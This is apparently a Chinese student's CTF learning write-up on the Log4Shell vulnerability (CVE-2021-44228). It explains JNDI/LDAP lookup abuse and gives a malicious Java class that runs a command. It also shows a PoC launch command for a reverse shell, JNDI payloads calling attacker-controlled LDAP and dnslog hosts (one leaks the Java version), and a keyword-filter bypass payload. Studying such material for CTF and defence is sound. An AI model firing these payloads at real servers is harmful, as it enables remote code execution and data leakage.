理解
原理參考
https://nvd.nist.gov/vuln/detail/CVE-2021-44228
https://logging.apache.org/log4j/2.x/
https://zhuanlan.zhihu.com/p/444140910
簡單來說,用戶輸入會記錄在log4j中,而log4j自帶lookup功能,格式為${parser:xxx}
。如果用戶輸入lookup會被log4j解析。
jndi是parser的一種,是一種標准的Java命名系統接口,可以連接遠程服務,格式為${jndi:schema://url}
ldap是schema的一種,${jndi:ldap://url}
會使log4j從url指定的路徑下載一段字節流,並將其反序列化為Java對象,作為jndi返回。反序列化過程中,即會執行字節流中包含的程序。
而url的內容可以被控制,我們可以返回惡意代碼
JNDI服務用腳本或者什么工具可以一鍵搭建。具體見https://segmentfault.com/a/1190000041117219
而惡意類類似這樣
class Exploit {
static {
System.err.println("Pwned");
try {
String cmds = "calc";
Runtime.getRuntime().exec(cmds);
} catch ( Exception e ) {
e.printStackTrace();
}
}
}
即可彈計算器
復現
使用ctfshow上的靶場
https://ctf.show/challenges
LDAP服務器用自己的VPS,搭建用大神寫的腳本。(什么是腳本小子啊)
我用的POC(內含LDAP一鍵搭建和docker靶場環境)
https://github.com/kozmer/log4j-shell-poc
(貌似這個POC的docker有問題,在本地死活彈不了shell555)
把POC文件放在vps上就可以了。啟動腳本的時候把命令換成
python3 poc.py --userip [vpsIP] --webport 8000 --lport 9001
具體過程略
這里好像有個坑(沒驗證過),lookup可能只用於DNS解析。所以必須嘗試payload
${jndi:ldap://xxxxx.dnslog.cn/exp}
${jndi:ldap://${sys:java.version}xxxxx.dnslog.cn/exp}
第一條有回顯,第二條無回顯,才能說明漏洞可以利用.
題目:長安戰疫 shiro?(表面復現)
登陸界面存在觸發點。過濾了jndi和ldap關鍵字。如下構造lookup繞過
${${::-j}ndi:${::-l}dap://ip:1389/a}
然而然而,卡在這一步了
然后拿ctfshow的靶場又試了一遍,發現居然也不行qwq
我不理解啊!!難不成因為上次是校園網就可以,在家就不行???
然后調了一下vps,好了,vps炸了。重啟,無限卡重啟。
/kill